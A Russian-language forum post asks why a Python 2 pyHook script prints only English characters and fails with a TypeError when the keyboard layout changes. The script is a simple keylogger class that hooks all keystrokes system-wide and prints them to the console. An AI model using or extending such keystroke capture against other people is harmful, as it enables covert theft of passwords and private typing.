Почему не выводит русский? Только анг пишет в консоле и если нажимать на смену языка, ошибка
Помогите советом
Traceback (most recent call last):
File "C:\Python27\lib\site-packa
func = self.keyboard_funcs.get
TypeError: an integer is required
# -*- coding: utf-8 -*-
import threading
import pythoncom
import pyHook
def keypressed(event):
keys = chr(event.Ascii).decode('utf-8')
print keys
class Keylogger(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.event = threading.Event()
def run(self):
obj = pyHook.HookManager()
obj.KeyDown = keypressed
obj.HookKeyboard()
pythoncom.PumpMessages()
k = Keylogger()
k.run()